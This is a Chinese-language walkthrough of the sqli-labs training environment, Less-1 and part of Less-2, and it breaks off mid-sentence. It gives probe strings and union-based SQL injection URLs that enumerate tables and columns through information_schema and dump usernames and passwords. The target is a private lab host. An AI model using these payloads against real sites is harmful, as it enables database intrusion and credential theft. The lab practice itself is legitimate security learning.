前言
最近啊先自己SQL注入确实不行,我只能拿出sql注入的基础部分来练练收了,这个实验环境是sqlilabs
一些前置知识
系统函数
介绍几个常用函数:
1. version()——MySQL 版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本
字符串连接函数
1. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
一般用于尝试的语句
Ps:--+可以用#替换,url 提交过程中Url 编码后的#为%23
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
正文
Less-1
输入?id=1’出现报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
凡是出现这种有回显的报错是感觉是最好做的注入
常规步骤,暴库->爆表->爆列
这里我们是多写了个单引号导致报错,我们可以从报错看得出来这里是单引号括着id参数
所以我们闭合单引号
构造我们需要的东西
http://192.168.100.105/sqlilabs/Less-1/?id=1%27%23
回显正常,说明猜测成功
去后台看一下语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
是这样子的,没有任何过滤
然后开始用order by去猜列数
http://192.168.100.105/sqlilabs/Less-1/?id=1%27 order by 3%23
得到表中应该是三列(用二分法去慢慢测)
然后开始用union select去回显某一列的东西
http://192.168.100.105/sqlilabs/Less-1/?id=-1%27
union select 1,2,3%23
这里我们需要把第一句话弄成结果为空才能显示后面一句话的内容,这里我选择id=-1,然后的话就可以回显2和3,后面就可以利用这两列回显你想要的东西了
下面我们就开始要用mysql里面自带的information_schema表了
猜表名
http://192.168.100.105/sqlilabs/Less-1/?id=-1%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
猜列名
http://192.168.100.105/sqlilabs/Less-1/?id=-1%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name='users'%23
才猜对应的内容
http://192.168.100.105/sqlilabs/Less-1/?id=-1%27%20union%20select%201,2,concat_ws('%23',username,password)%20from users limit 0,1%23
这一句话只能猜一行,所以要想看其他行的内容就必须要刷一下limit的内容了
Less-2
很无聊,看一下源代码什么防御都没有
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
http://192.168.100.105/sqlilabs/Less-2/?id=1 order by 5
测试得到3列,然后开始闭合,其实这一题直接注释了就好
直接上语句 <